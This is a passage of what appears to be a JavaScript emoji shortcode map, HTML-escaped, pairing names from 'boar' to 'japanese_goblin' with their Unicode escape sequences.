          &quot;boar&quot;: &quot;\u{1F417}&quot;,
          &quot;boat&quot;: &quot;\u26F5\uFE0F&quot;,
          &quot;bomb&quot;: &quot;\u{1F4A3}&quot;,
          &quot;book&quot;: &quot;\u{1F4D6}&quot;,
          &quot;bookmark&quot;: &quot;\u{1F516}&quot;,
          &quot;bookmark_tabs&quot;: &quot;\u{1F4D1}&quot;,
          &quot;books&quot;: &quot;\u{1F4DA}&quot;,
          &quot;boom&quot;: &quot;\u{1F4A5}&quot;,
          &quot;boot&quot;: &quot;\u{1F462}&quot;,
          &quot;bouquet&quot;: &quot;\u{1F490}&quot;,
          &quot;bowing_man&quot;: &quot;\u{1F647}&quot;,
          &quot;bow_and_arrow&quot;: &quot;\u{1F3F9}&quot;,
          &quot;bowing_woman&quot;: &quot;\u{1F647}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;bowling&quot;: &quot;\u{1F3B3}&quot;,
          &quot;boxing_glove&quot;: &quot;\u{1F94A}&quot;,
          &quot;boy&quot;: &quot;\u{1F466}&quot;,
          &quot;bread&quot;: &quot;\u{1F35E}&quot;,
          &quot;bride_with_veil&quot;: &quot;\u{1F470}&quot;,
          &quot;bridge_at_night&quot;: &quot;\u{1F309}&quot;,
          &quot;briefcase&quot;: &quot;\u{1F4BC}&quot;,
          &quot;broken_heart&quot;: &quot;\u{1F494}&quot;,
          &quot;bug&quot;: &quot;\u{1F41B}&quot;,
          &quot;building_construction&quot;: &quot;\u{1F3D7}&quot;,
          &quot;bulb&quot;: &quot;\u{1F4A1}&quot;,
          &quot;bullettrain_front&quot;: &quot;\u{1F685}&quot;,
          &quot;bullettrain_side&quot;: &quot;\u{1F684}&quot;,
          &quot;burrito&quot;: &quot;\u{1F32F}&quot;,
          &quot;bus&quot;: &quot;\u{1F68C}&quot;,
          &quot;business_suit_levitating&quot;: &quot;\u{1F574}&quot;,
          &quot;busstop&quot;: &quot;\u{1F68F}&quot;,
          &quot;bust_in_silhouette&quot;: &quot;\u{1F464}&quot;,
          &quot;busts_in_silhouette&quot;: &quot;\u{1F465}&quot;,
          &quot;butterfly&quot;: &quot;\u{1F98B}&quot;,
          &quot;cactus&quot;: &quot;\u{1F335}&quot;,
          &quot;cake&quot;: &quot;\u{1F370}&quot;,
          &quot;calendar&quot;: &quot;\u{1F4C6}&quot;,
          &quot;call_me_hand&quot;: &quot;\u{1F919}&quot;,
          &quot;calling&quot;: &quot;\u{1F4F2}&quot;,
          &quot;camel&quot;: &quot;\u{1F42B}&quot;,
          &quot;camera&quot;: &quot;\u{1F4F7}&quot;,
          &quot;camera_flash&quot;: &quot;\u{1F4F8}&quot;,
          &quot;camping&quot;: &quot;\u{1F3D5}&quot;,
          &quot;cancer&quot;: &quot;\u264B\uFE0F&quot;,
          &quot;candle&quot;: &quot;\u{1F56F}&quot;,
          &quot;candy&quot;: &quot;\u{1F36C}&quot;,
          &quot;canoe&quot;: &quot;\u{1F6F6}&quot;,
          &quot;capital_abcd&quot;: &quot;\u{1F520}&quot;,
          &quot;capricorn&quot;: &quot;\u2651\uFE0F&quot;,
          &quot;car&quot;: &quot;\u{1F697}&quot;,
          &quot;card_file_box&quot;: &quot;\u{1F5C3}&quot;,
          &quot;card_index&quot;: &quot;\u{1F4C7}&quot;,
          &quot;card_index_dividers&quot;: &quot;\u{1F5C2}&quot;,
          &quot;carousel_horse&quot;: &quot;\u{1F3A0}&quot;,
          &quot;carrot&quot;: &quot;\u{1F955}&quot;,
          &quot;cat&quot;: &quot;\u{1F431}&quot;,
          &quot;cat2&quot;: &quot;\u{1F408}&quot;,
          &quot;cd&quot;: &quot;\u{1F4BF}&quot;,
          &quot;chains&quot;: &quot;\u26D3&quot;,
          &quot;champagne&quot;: &quot;\u{1F37E}&quot;,
          &quot;chart&quot;: &quot;\u{1F4B9}&quot;,
          &quot;chart_with_downwards_trend&quot;: &quot;\u{1F4C9}&quot;,
          &quot;chart_with_upwards_trend&quot;: &quot;\u{1F4C8}&quot;,
          &quot;checkered_flag&quot;: &quot;\u{1F3C1}&quot;,
          &quot;cheese&quot;: &quot;\u{1F9C0}&quot;,
          &quot;cherries&quot;: &quot;\u{1F352}&quot;,
          &quot;cherry_blossom&quot;: &quot;\u{1F338}&quot;,
          &quot;chestnut&quot;: &quot;\u{1F330}&quot;,
          &quot;chicken&quot;: &quot;\u{1F414}&quot;,
          &quot;children_crossing&quot;: &quot;\u{1F6B8}&quot;,
          &quot;chipmunk&quot;: &quot;\u{1F43F}&quot;,
          &quot;chocolate_bar&quot;: &quot;\u{1F36B}&quot;,
          &quot;christmas_tree&quot;: &quot;\u{1F384}&quot;,
          &quot;church&quot;: &quot;\u26EA\uFE0F&quot;,
          &quot;cinema&quot;: &quot;\u{1F3A6}&quot;,
          &quot;circus_tent&quot;: &quot;\u{1F3AA}&quot;,
          &quot;city_sunrise&quot;: &quot;\u{1F307}&quot;,
          &quot;city_sunset&quot;: &quot;\u{1F306}&quot;,
          &quot;cityscape&quot;: &quot;\u{1F3D9}&quot;,
          &quot;cl&quot;: &quot;\u{1F191}&quot;,
          &quot;clamp&quot;: &quot;\u{1F5DC}&quot;,
          &quot;clap&quot;: &quot;\u{1F44F}&quot;,
          &quot;clapper&quot;: &quot;\u{1F3AC}&quot;,
          &quot;classical_building&quot;: &quot;\u{1F3DB}&quot;,
          &quot;clinking_glasses&quot;: &quot;\u{1F942}&quot;,
          &quot;clipboard&quot;: &quot;\u{1F4CB}&quot;,
          &quot;clock1&quot;: &quot;\u{1F550}&quot;,
          &quot;clock10&quot;: &quot;\u{1F559}&quot;,
          &quot;clock1030&quot;: &quot;\u{1F565}&quot;,
          &quot;clock11&quot;: &quot;\u{1F55A}&quot;,
          &quot;clock1130&quot;: &quot;\u{1F566}&quot;,
          &quot;clock12&quot;: &quot;\u{1F55B}&quot;,
          &quot;clock1230&quot;: &quot;\u{1F567}&quot;,
          &quot;clock130&quot;: &quot;\u{1F55C}&quot;,
          &quot;clock2&quot;: &quot;\u{1F551}&quot;,
          &quot;clock230&quot;: &quot;\u{1F55D}&quot;,
          &quot;clock3&quot;: &quot;\u{1F552}&quot;,
          &quot;clock330&quot;: &quot;\u{1F55E}&quot;,
          &quot;clock4&quot;: &quot;\u{1F553}&quot;,
          &quot;clock430&quot;: &quot;\u{1F55F}&quot;,
          &quot;clock5&quot;: &quot;\u{1F554}&quot;,
          &quot;clock530&quot;: &quot;\u{1F560}&quot;,
          &quot;clock6&quot;: &quot;\u{1F555}&quot;,
          &quot;clock630&quot;: &quot;\u{1F561}&quot;,
          &quot;clock7&quot;: &quot;\u{1F556}&quot;,
          &quot;clock730&quot;: &quot;\u{1F562}&quot;,
          &quot;clock8&quot;: &quot;\u{1F557}&quot;,
          &quot;clock830&quot;: &quot;\u{1F563}&quot;,
          &quot;clock9&quot;: &quot;\u{1F558}&quot;,
          &quot;clock930&quot;: &quot;\u{1F564}&quot;,
          &quot;closed_book&quot;: &quot;\u{1F4D5}&quot;,
          &quot;closed_lock_with_key&quot;: &quot;\u{1F510}&quot;,
          &quot;closed_umbrella&quot;: &quot;\u{1F302}&quot;,
          &quot;cloud&quot;: &quot;\u2601\uFE0F&quot;,
          &quot;cloud_with_lightning&quot;: &quot;\u{1F329}&quot;,
          &quot;cloud_with_lightning_and_rain&quot;: &quot;\u26C8&quot;,
          &quot;cloud_with_rain&quot;: &quot;\u{1F327}&quot;,
          &quot;cloud_with_snow&quot;: &quot;\u{1F328}&quot;,
          &quot;clown_face&quot;: &quot;\u{1F921}&quot;,
          &quot;clubs&quot;: &quot;\u2663\uFE0F&quot;,
          &quot;cocktail&quot;: &quot;\u{1F378}&quot;,
          &quot;coffee&quot;: &quot;\u2615\uFE0F&quot;,
          &quot;coffin&quot;: &quot;\u26B0\uFE0F&quot;,
          &quot;cold_sweat&quot;: &quot;\u{1F630}&quot;,
          &quot;comet&quot;: &quot;\u2604\uFE0F&quot;,
          &quot;computer&quot;: &quot;\u{1F4BB}&quot;,
          &quot;computer_mouse&quot;: &quot;\u{1F5B1}&quot;,
          &quot;confetti_ball&quot;: &quot;\u{1F38A}&quot;,
          &quot;confounded&quot;: &quot;\u{1F616}&quot;,
          &quot;confused&quot;: &quot;\u{1F615}&quot;,
          &quot;congratulations&quot;: &quot;\u3297\uFE0F&quot;,
          &quot;construction&quot;: &quot;\u{1F6A7}&quot;,
          &quot;construction_worker_man&quot;: &quot;\u{1F477}&quot;,
          &quot;construction_worker_woman&quot;: &quot;\u{1F477}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;control_knobs&quot;: &quot;\u{1F39B}&quot;,
          &quot;convenience_store&quot;: &quot;\u{1F3EA}&quot;,
          &quot;cookie&quot;: &quot;\u{1F36A}&quot;,
          &quot;cool&quot;: &quot;\u{1F192}&quot;,
          &quot;policeman&quot;: &quot;\u{1F46E}&quot;,
          &quot;copyright&quot;: &quot;\xA9\uFE0F&quot;,
          &quot;corn&quot;: &quot;\u{1F33D}&quot;,
          &quot;couch_and_lamp&quot;: &quot;\u{1F6CB}&quot;,
          &quot;couple&quot;: &quot;\u{1F46B}&quot;,
          &quot;couple_with_heart_woman_man&quot;: &quot;\u{1F491}&quot;,
          &quot;couple_with_heart_man_man&quot;: &quot;\u{1F468}&amp;zwj;\u2764\uFE0F&amp;zwj;\u{1F468}&quot;,
          &quot;couple_with_heart_woman_woman&quot;: &quot;\u{1F469}&amp;zwj;\u2764\uFE0F&amp;zwj;\u{1F469}&quot;,
          &quot;couplekiss_man_man&quot;: &quot;\u{1F468}&amp;zwj;\u2764\uFE0F&amp;zwj;\u{1F48B}&amp;zwj;\u{1F468}&quot;,
          &quot;couplekiss_man_woman&quot;: &quot;\u{1F48F}&quot;,
          &quot;couplekiss_woman_woman&quot;: &quot;\u{1F469}&amp;zwj;\u2764\uFE0F&amp;zwj;\u{1F48B}&amp;zwj;\u{1F469}&quot;,
          &quot;cow&quot;: &quot;\u{1F42E}&quot;,
          &quot;cow2&quot;: &quot;\u{1F404}&quot;,
          &quot;cowboy_hat_face&quot;: &quot;\u{1F920}&quot;,
          &quot;crab&quot;: &quot;\u{1F980}&quot;,
          &quot;crayon&quot;: &quot;\u{1F58D}&quot;,
          &quot;credit_card&quot;: &quot;\u{1F4B3}&quot;,
          &quot;crescent_moon&quot;: &quot;\u{1F319}&quot;,
          &quot;cricket&quot;: &quot;\u{1F3CF}&quot;,
          &quot;crocodile&quot;: &quot;\u{1F40A}&quot;,
          &quot;croissant&quot;: &quot;\u{1F950}&quot;,
          &quot;crossed_fingers&quot;: &quot;\u{1F91E}&quot;,
          &quot;crossed_flags&quot;: &quot;\u{1F38C}&quot;,
          &quot;crossed_swords&quot;: &quot;\u2694\uFE0F&quot;,
          &quot;crown&quot;: &quot;\u{1F451}&quot;,
          &quot;cry&quot;: &quot;\u{1F622}&quot;,
          &quot;crying_cat_face&quot;: &quot;\u{1F63F}&quot;,
          &quot;crystal_ball&quot;: &quot;\u{1F52E}&quot;,
          &quot;cucumber&quot;: &quot;\u{1F952}&quot;,
          &quot;cupid&quot;: &quot;\u{1F498}&quot;,
          &quot;curly_loop&quot;: &quot;\u27B0&quot;,
          &quot;currency_exchange&quot;: &quot;\u{1F4B1}&quot;,
          &quot;curry&quot;: &quot;\u{1F35B}&quot;,
          &quot;custard&quot;: &quot;\u{1F36E}&quot;,
          &quot;customs&quot;: &quot;\u{1F6C3}&quot;,
          &quot;cyclone&quot;: &quot;\u{1F300}&quot;,
          &quot;dagger&quot;: &quot;\u{1F5E1}&quot;,
          &quot;dancer&quot;: &quot;\u{1F483}&quot;,
          &quot;dancing_women&quot;: &quot;\u{1F46F}&quot;,
          &quot;dancing_men&quot;: &quot;\u{1F46F}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;dango&quot;: &quot;\u{1F361}&quot;,
          &quot;dark_sunglasses&quot;: &quot;\u{1F576}&quot;,
          &quot;dart&quot;: &quot;\u{1F3AF}&quot;,
          &quot;dash&quot;: &quot;\u{1F4A8}&quot;,
          &quot;date&quot;: &quot;\u{1F4C5}&quot;,
          &quot;deciduous_tree&quot;: &quot;\u{1F333}&quot;,
          &quot;deer&quot;: &quot;\u{1F98C}&quot;,
          &quot;department_store&quot;: &quot;\u{1F3EC}&quot;,
          &quot;derelict_house&quot;: &quot;\u{1F3DA}&quot;,
          &quot;desert&quot;: &quot;\u{1F3DC}&quot;,
          &quot;desert_island&quot;: &quot;\u{1F3DD}&quot;,
          &quot;desktop_computer&quot;: &quot;\u{1F5A5}&quot;,
          &quot;male_detective&quot;: &quot;\u{1F575}\uFE0F&quot;,
          &quot;diamond_shape_with_a_dot_inside&quot;: &quot;\u{1F4A0}&quot;,
          &quot;diamonds&quot;: &quot;\u2666\uFE0F&quot;,
          &quot;disappointed&quot;: &quot;\u{1F61E}&quot;,
          &quot;disappointed_relieved&quot;: &quot;\u{1F625}&quot;,
          &quot;dizzy&quot;: &quot;\u{1F4AB}&quot;,
          &quot;dizzy_face&quot;: &quot;\u{1F635}&quot;,
          &quot;do_not_litter&quot;: &quot;\u{1F6AF}&quot;,
          &quot;dog&quot;: &quot;\u{1F436}&quot;,
          &quot;dog2&quot;: &quot;\u{1F415}&quot;,
          &quot;dollar&quot;: &quot;\u{1F4B5}&quot;,
          &quot;dolls&quot;: &quot;\u{1F38E}&quot;,
          &quot;dolphin&quot;: &quot;\u{1F42C}&quot;,
          &quot;door&quot;: &quot;\u{1F6AA}&quot;,
          &quot;doughnut&quot;: &quot;\u{1F369}&quot;,
          &quot;dove&quot;: &quot;\u{1F54A}&quot;,
          &quot;dragon&quot;: &quot;\u{1F409}&quot;,
          &quot;dragon_face&quot;: &quot;\u{1F432}&quot;,
          &quot;dress&quot;: &quot;\u{1F457}&quot;,
          &quot;dromedary_camel&quot;: &quot;\u{1F42A}&quot;,
          &quot;drooling_face&quot;: &quot;\u{1F924}&quot;,
          &quot;droplet&quot;: &quot;\u{1F4A7}&quot;,
          &quot;drum&quot;: &quot;\u{1F941}&quot;,
          &quot;duck&quot;: &quot;\u{1F986}&quot;,
          &quot;dvd&quot;: &quot;\u{1F4C0}&quot;,
          &quot;e-mail&quot;: &quot;\u{1F4E7}&quot;,
          &quot;eagle&quot;: &quot;\u{1F985}&quot;,
          &quot;ear&quot;: &quot;\u{1F442}&quot;,
          &quot;ear_of_rice&quot;: &quot;\u{1F33E}&quot;,
          &quot;earth_africa&quot;: &quot;\u{1F30D}&quot;,
          &quot;earth_americas&quot;: &quot;\u{1F30E}&quot;,
          &quot;earth_asia&quot;: &quot;\u{1F30F}&quot;,
          &quot;egg&quot;: &quot;\u{1F95A}&quot;,
          &quot;eggplant&quot;: &quot;\u{1F346}&quot;,
          &quot;eight_pointed_black_star&quot;: &quot;\u2734\uFE0F&quot;,
          &quot;eight_spoked_asterisk&quot;: &quot;\u2733\uFE0F&quot;,
          &quot;electric_plug&quot;: &quot;\u{1F50C}&quot;,
          &quot;elephant&quot;: &quot;\u{1F418}&quot;,
          &quot;email&quot;: &quot;\u2709\uFE0F&quot;,
          &quot;end&quot;: &quot;\u{1F51A}&quot;,
          &quot;envelope_with_arrow&quot;: &quot;\u{1F4E9}&quot;,
          &quot;euro&quot;: &quot;\u{1F4B6}&quot;,
          &quot;european_castle&quot;: &quot;\u{1F3F0}&quot;,
          &quot;european_post_office&quot;: &quot;\u{1F3E4}&quot;,
          &quot;evergreen_tree&quot;: &quot;\u{1F332}&quot;,
          &quot;exclamation&quot;: &quot;\u2757\uFE0F&quot;,
          &quot;expressionless&quot;: &quot;\u{1F611}&quot;,
          &quot;eye&quot;: &quot;\u{1F441}&quot;,
          &quot;eye_speech_bubble&quot;: &quot;\u{1F441}&amp;zwj;\u{1F5E8}&quot;,
          &quot;eyeglasses&quot;: &quot;\u{1F453}&quot;,
          &quot;eyes&quot;: &quot;\u{1F440}&quot;,
          &quot;face_with_head_bandage&quot;: &quot;\u{1F915}&quot;,
          &quot;face_with_thermometer&quot;: &quot;\u{1F912}&quot;,
          &quot;fist_oncoming&quot;: &quot;\u{1F44A}&quot;,
          &quot;factory&quot;: &quot;\u{1F3ED}&quot;,
          &quot;fallen_leaf&quot;: &quot;\u{1F342}&quot;,
          &quot;family_man_woman_boy&quot;: &quot;\u{1F46A}&quot;,
          &quot;family_man_boy&quot;: &quot;\u{1F468}&amp;zwj;\u{1F466}&quot;,
          &quot;family_man_boy_boy&quot;: &quot;\u{1F468}&amp;zwj;\u{1F466}&amp;zwj;\u{1F466}&quot;,
          &quot;family_man_girl&quot;: &quot;\u{1F468}&amp;zwj;\u{1F467}&quot;,
          &quot;family_man_girl_boy&quot;: &quot;\u{1F468}&amp;zwj;\u{1F467}&amp;zwj;\u{1F466}&quot;,
          &quot;family_man_girl_girl&quot;: &quot;\u{1F468}&amp;zwj;\u{1F467}&amp;zwj;\u{1F467}&quot;,
          &quot;family_man_man_boy&quot;: &quot;\u{1F468}&amp;zwj;\u{1F468}&amp;zwj;\u{1F466}&quot;,
          &quot;family_man_man_boy_boy&quot;: &quot;\u{1F468}&amp;zwj;\u{1F468}&amp;zwj;\u{1F466}&amp;zwj;\u{1F466}&quot;,
          &quot;family_man_man_girl&quot;: &quot;\u{1F468}&amp;zwj;\u{1F468}&amp;zwj;\u{1F467}&quot;,
          &quot;family_man_man_girl_boy&quot;: &quot;\u{1F468}&amp;zwj;\u{1F468}&amp;zwj;\u{1F467}&amp;zwj;\u{1F466}&quot;,
          &quot;family_man_man_girl_girl&quot;: &quot;\u{1F468}&amp;zwj;\u{1F468}&amp;zwj;\u{1F467}&amp;zwj;\u{1F467}&quot;,
          &quot;family_man_woman_boy_boy&quot;: &quot;\u{1F468}&amp;zwj;\u{1F469}&amp;zwj;\u{1F466}&amp;zwj;\u{1F466}&quot;,
          &quot;family_man_woman_girl&quot;: &quot;\u{1F468}&amp;zwj;\u{1F469}&amp;zwj;\u{1F467}&quot;,
          &quot;family_man_woman_girl_boy&quot;: &quot;\u{1F468}&amp;zwj;\u{1F469}&amp;zwj;\u{1F467}&amp;zwj;\u{1F466}&quot;,
          &quot;family_man_woman_girl_girl&quot;: &quot;\u{1F468}&amp;zwj;\u{1F469}&amp;zwj;\u{1F467}&amp;zwj;\u{1F467}&quot;,
          &quot;family_woman_boy&quot;: &quot;\u{1F469}&amp;zwj;\u{1F466}&quot;,
          &quot;family_woman_boy_boy&quot;: &quot;\u{1F469}&amp;zwj;\u{1F466}&amp;zwj;\u{1F466}&quot;,
          &quot;family_woman_girl&quot;: &quot;\u{1F469}&amp;zwj;\u{1F467}&quot;,
          &quot;family_woman_girl_boy&quot;: &quot;\u{1F469}&amp;zwj;\u{1F467}&amp;zwj;\u{1F466}&quot;,
          &quot;family_woman_girl_girl&quot;: &quot;\u{1F469}&amp;zwj;\u{1F467}&amp;zwj;\u{1F467}&quot;,
          &quot;family_woman_woman_boy&quot;: &quot;\u{1F469}&amp;zwj;\u{1F469}&amp;zwj;\u{1F466}&quot;,
          &quot;family_woman_woman_boy_boy&quot;: &quot;\u{1F469}&amp;zwj;\u{1F469}&amp;zwj;\u{1F466}&amp;zwj;\u{1F466}&quot;,
          &quot;family_woman_woman_girl&quot;: &quot;\u{1F469}&amp;zwj;\u{1F469}&amp;zwj;\u{1F467}&quot;,
          &quot;family_woman_woman_girl_boy&quot;: &quot;\u{1F469}&amp;zwj;\u{1F469}&amp;zwj;\u{1F467}&amp;zwj;\u{1F466}&quot;,
          &quot;family_woman_woman_girl_girl&quot;: &quot;\u{1F469}&amp;zwj;\u{1F469}&amp;zwj;\u{1F467}&amp;zwj;\u{1F467}&quot;,
          &quot;fast_forward&quot;: &quot;\u23E9&quot;,
          &quot;fax&quot;: &quot;\u{1F4E0}&quot;,
          &quot;fearful&quot;: &quot;\u{1F628}&quot;,
          &quot;feet&quot;: &quot;\u{1F43E}&quot;,
          &quot;female_detective&quot;: &quot;\u{1F575}\uFE0F&amp;zwj;\u2640\uFE0F&quot;,
          &quot;ferris_wheel&quot;: &quot;\u{1F3A1}&quot;,
          &quot;ferry&quot;: &quot;\u26F4&quot;,
          &quot;field_hockey&quot;: &quot;\u{1F3D1}&quot;,
          &quot;file_cabinet&quot;: &quot;\u{1F5C4}&quot;,
          &quot;file_folder&quot;: &quot;\u{1F4C1}&quot;,
          &quot;film_projector&quot;: &quot;\u{1F4FD}&quot;,
          &quot;film_strip&quot;: &quot;\u{1F39E}&quot;,
          &quot;fire&quot;: &quot;\u{1F525}&quot;,
          &quot;fire_engine&quot;: &quot;\u{1F692}&quot;,
          &quot;fireworks&quot;: &quot;\u{1F386}&quot;,
          &quot;first_quarter_moon&quot;: &quot;\u{1F313}&quot;,
          &quot;first_quarter_moon_with_face&quot;: &quot;\u{1F31B}&quot;,
          &quot;fish&quot;: &quot;\u{1F41F}&quot;,
          &quot;fish_cake&quot;: &quot;\u{1F365}&quot;,
          &quot;fishing_pole_and_fish&quot;: &quot;\u{1F3A3}&quot;,
          &quot;fist_raised&quot;: &quot;\u270A&quot;,
          &quot;fist_left&quot;: &quot;\u{1F91B}&quot;,
          &quot;fist_right&quot;: &quot;\u{1F91C}&quot;,
          &quot;flags&quot;: &quot;\u{1F38F}&quot;,
          &quot;flashlight&quot;: &quot;\u{1F526}&quot;,
          &quot;fleur_de_lis&quot;: &quot;\u269C\uFE0F&quot;,
          &quot;flight_arrival&quot;: &quot;\u{1F6EC}&quot;,
          &quot;flight_departure&quot;: &quot;\u{1F6EB}&quot;,
          &quot;floppy_disk&quot;: &quot;\u{1F4BE}&quot;,
          &quot;flower_playing_cards&quot;: &quot;\u{1F3B4}&quot;,
          &quot;flushed&quot;: &quot;\u{1F633}&quot;,
          &quot;fog&quot;: &quot;\u{1F32B}&quot;,
          &quot;foggy&quot;: &quot;\u{1F301}&quot;,
          &quot;football&quot;: &quot;\u{1F3C8}&quot;,
          &quot;footprints&quot;: &quot;\u{1F463}&quot;,
          &quot;fork_and_knife&quot;: &quot;\u{1F374}&quot;,
          &quot;fountain&quot;: &quot;\u26F2\uFE0F&quot;,
          &quot;fountain_pen&quot;: &quot;\u{1F58B}&quot;,
          &quot;four_leaf_clover&quot;: &quot;\u{1F340}&quot;,
          &quot;fox_face&quot;: &quot;\u{1F98A}&quot;,
          &quot;framed_picture&quot;: &quot;\u{1F5BC}&quot;,
          &quot;free&quot;: &quot;\u{1F193}&quot;,
          &quot;fried_egg&quot;: &quot;\u{1F373}&quot;,
          &quot;fried_shrimp&quot;: &quot;\u{1F364}&quot;,
          &quot;fries&quot;: &quot;\u{1F35F}&quot;,
          &quot;frog&quot;: &quot;\u{1F438}&quot;,
          &quot;frowning&quot;: &quot;\u{1F626}&quot;,
          &quot;frowning_face&quot;: &quot;\u2639\uFE0F&quot;,
          &quot;frowning_man&quot;: &quot;\u{1F64D}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;frowning_woman&quot;: &quot;\u{1F64D}&quot;,
          &quot;middle_finger&quot;: &quot;\u{1F595}&quot;,
          &quot;fuelpump&quot;: &quot;\u26FD\uFE0F&quot;,
          &quot;full_moon&quot;: &quot;\u{1F315}&quot;,
          &quot;full_moon_with_face&quot;: &quot;\u{1F31D}&quot;,
          &quot;funeral_urn&quot;: &quot;\u26B1\uFE0F&quot;,
          &quot;game_die&quot;: &quot;\u{1F3B2}&quot;,
          &quot;gear&quot;: &quot;\u2699\uFE0F&quot;,
          &quot;gem&quot;: &quot;\u{1F48E}&quot;,
          &quot;gemini&quot;: &quot;\u264A\uFE0F&quot;,
          &quot;ghost&quot;: &quot;\u{1F47B}&quot;,
          &quot;gift&quot;: &quot;\u{1F381}&quot;,
          &quot;gift_heart&quot;: &quot;\u{1F49D}&quot;,
          &quot;girl&quot;: &quot;\u{1F467}&quot;,
          &quot;globe_with_meridians&quot;: &quot;\u{1F310}&quot;,
          &quot;goal_net&quot;: &quot;\u{1F945}&quot;,
          &quot;goat&quot;: &quot;\u{1F410}&quot;,
          &quot;golf&quot;: &quot;\u26F3\uFE0F&quot;,
          &quot;golfing_man&quot;: &quot;\u{1F3CC}\uFE0F&quot;,
          &quot;golfing_woman&quot;: &quot;\u{1F3CC}\uFE0F&amp;zwj;\u2640\uFE0F&quot;,
          &quot;gorilla&quot;: &quot;\u{1F98D}&quot;,
          &quot;grapes&quot;: &quot;\u{1F347}&quot;,
          &quot;green_apple&quot;: &quot;\u{1F34F}&quot;,
          &quot;green_book&quot;: &quot;\u{1F4D7}&quot;,
          &quot;green_heart&quot;: &quot;\u{1F49A}&quot;,
          &quot;green_salad&quot;: &quot;\u{1F957}&quot;,
          &quot;grey_exclamation&quot;: &quot;\u2755&quot;,
          &quot;grey_question&quot;: &quot;\u2754&quot;,
          &quot;grimacing&quot;: &quot;\u{1F62C}&quot;,
          &quot;grin&quot;: &quot;\u{1F601}&quot;,
          &quot;grinning&quot;: &quot;\u{1F600}&quot;,
          &quot;guardsman&quot;: &quot;\u{1F482}&quot;,
          &quot;guardswoman&quot;: &quot;\u{1F482}&amp;zwj;\u2640\uFE0F&quot;,
          &quot;guitar&quot;: &quot;\u{1F3B8}&quot;,
          &quot;gun&quot;: &quot;\u{1F52B}&quot;,
          &quot;haircut_woman&quot;: &quot;\u{1F487}&quot;,
          &quot;haircut_man&quot;: &quot;\u{1F487}&amp;zwj;\u2642\uFE0F&quot;,
          &quot;hamburger&quot;: &quot;\u{1F354}&quot;,
          &quot;hammer&quot;: &quot;\u{1F528}&quot;,
          &quot;hammer_and_pick&quot;: &quot;\u2692&quot;,
          &quot;hammer_and_wrench&quot;: &quot;\u{1F6E0}&quot;,
          &quot;hamster&quot;: &quot;\u{1F439}&quot;,
          &quot;hand&quot;: &quot;\u270B&quot;,
          &quot;handbag&quot;: &quot;\u{1F45C}&quot;,
          &quot;handshake&quot;: &quot;\u{1F91D}&quot;,
          &quot;hankey&quot;: &quot;\u{1F4A9}&quot;,
          &quot;hatched_chick&quot;: &quot;\u{1F425}&quot;,
          &quot;hatching_chick&quot;: &quot;\u{1F423}&quot;,
          &quot;headphones&quot;: &quot;\u{1F3A7}&quot;,
          &quot;hear_no_evil&quot;: &quot;\u{1F649}&quot;,
          &quot;heart&quot;: &quot;\u2764\uFE0F&quot;,
          &quot;heart_decoration&quot;: &quot;\u{1F49F}&quot;,
          &quot;heart_eyes&quot;: &quot;\u{1F60D}&quot;,
          &quot;heart_eyes_cat&quot;: &quot;\u{1F63B}&quot;,
          &quot;heartbeat&quot;: &quot;\u{1F493}&quot;,
          &quot;heartpulse&quot;: &quot;\u{1F497}&quot;,
          &quot;hearts&quot;: &quot;\u2665\uFE0F&quot;,
          &quot;heavy_check_mark&quot;: &quot;\u2714\uFE0F&quot;,
          &quot;heavy_division_sign&quot;: &quot;\u2797&quot;,
          &quot;heavy_dollar_sign&quot;: &quot;\u{1F4B2}&quot;,
          &quot;heavy_heart_exclamation&quot;: &quot;\u2763\uFE0F&quot;,
          &quot;heavy_minus_sign&quot;: &quot;\u2796&quot;,
          &quot;heavy_multiplication_x&quot;: &quot;\u2716\uFE0F&quot;,
          &quot;heavy_plus_sign&quot;: &quot;\u2795&quot;,
          &quot;helicopter&quot;: &quot;\u{1F681}&quot;,
          &quot;herb&quot;: &quot;\u{1F33F}&quot;,
          &quot;hibiscus&quot;: &quot;\u{1F33A}&quot;,
          &quot;high_brightness&quot;: &quot;\u{1F506}&quot;,
          &quot;high_heel&quot;: &quot;\u{1F460}&quot;,
          &quot;hocho&quot;: &quot;\u{1F52A}&quot;,
          &quot;hole&quot;: &quot;\u{1F573}&quot;,
          &quot;honey_pot&quot;: &quot;\u{1F36F}&quot;,
          &quot;horse&quot;: &quot;\u{1F434}&quot;,
          &quot;horse_racing&quot;: &quot;\u{1F3C7}&quot;,
          &quot;hospital&quot;: &quot;\u{1F3E5}&quot;,
          &quot;hot_pepper&quot;: &quot;\u{1F336}&quot;,
          &quot;hotdog&quot;: &quot;\u{1F32D}&quot;,
          &quot;hotel&quot;: &quot;\u{1F3E8}&quot;,
          &quot;hotsprings&quot;: &quot;\u2668\uFE0F&quot;,
          &quot;hourglass&quot;: &quot;\u231B\uFE0F&quot;,
          &quot;hourglass_flowing_sand&quot;: &quot;\u23F3&quot;,
          &quot;house&quot;: &quot;\u{1F3E0}&quot;,
          &quot;house_with_garden&quot;: &quot;\u{1F3E1}&quot;,
          &quot;houses&quot;: &quot;\u{1F3D8}&quot;,
          &quot;hugs&quot;: &quot;\u{1F917}&quot;,
          &quot;hushed&quot;: &quot;\u{1F62F}&quot;,
          &quot;ice_cream&quot;: &quot;\u{1F368}&quot;,
          &quot;ice_hockey&quot;: &quot;\u{1F3D2}&quot;,
          &quot;ice_skate&quot;: &quot;\u26F8&quot;,
          &quot;icecream&quot;: &quot;\u{1F366}&quot;,
          &quot;id&quot;: &quot;\u{1F194}&quot;,
          &quot;ideograph_advantage&quot;: &quot;\u{1F250}&quot;,
          &quot;imp&quot;: &quot;\u{1F47F}&quot;,
          &quot;inbox_tray&quot;: &quot;\u{1F4E5}&quot;,
          &quot;incoming_envelope&quot;: &quot;\u{1F4E8}&quot;,
          &quot;tipping_hand_woman&quot;: &quot;\u{1F481}&quot;,
          &quot;information_source&quot;: &quot;\u2139\uFE0F&quot;,
          &quot;innocent&quot;: &quot;\u{1F607}&quot;,
          &quot;interrobang&quot;: &quot;\u2049\uFE0F&quot;,
          &quot;iphone&quot;: &quot;\u{1F4F1}&quot;,
          &quot;izakaya_lantern&quot;: &quot;\u{1F3EE}&quot;,
          &quot;jack_o_lantern&quot;: &quot;\u{1F383}&quot;,
          &quot;japan&quot;: &quot;\u{1F5FE}&quot;,
          &quot;japanese_castle&quot;: &quot;\u{1F3EF}&quot;,
          &quot;japanese_goblin&quot;: &quot;\u{1F47A}&quot;,
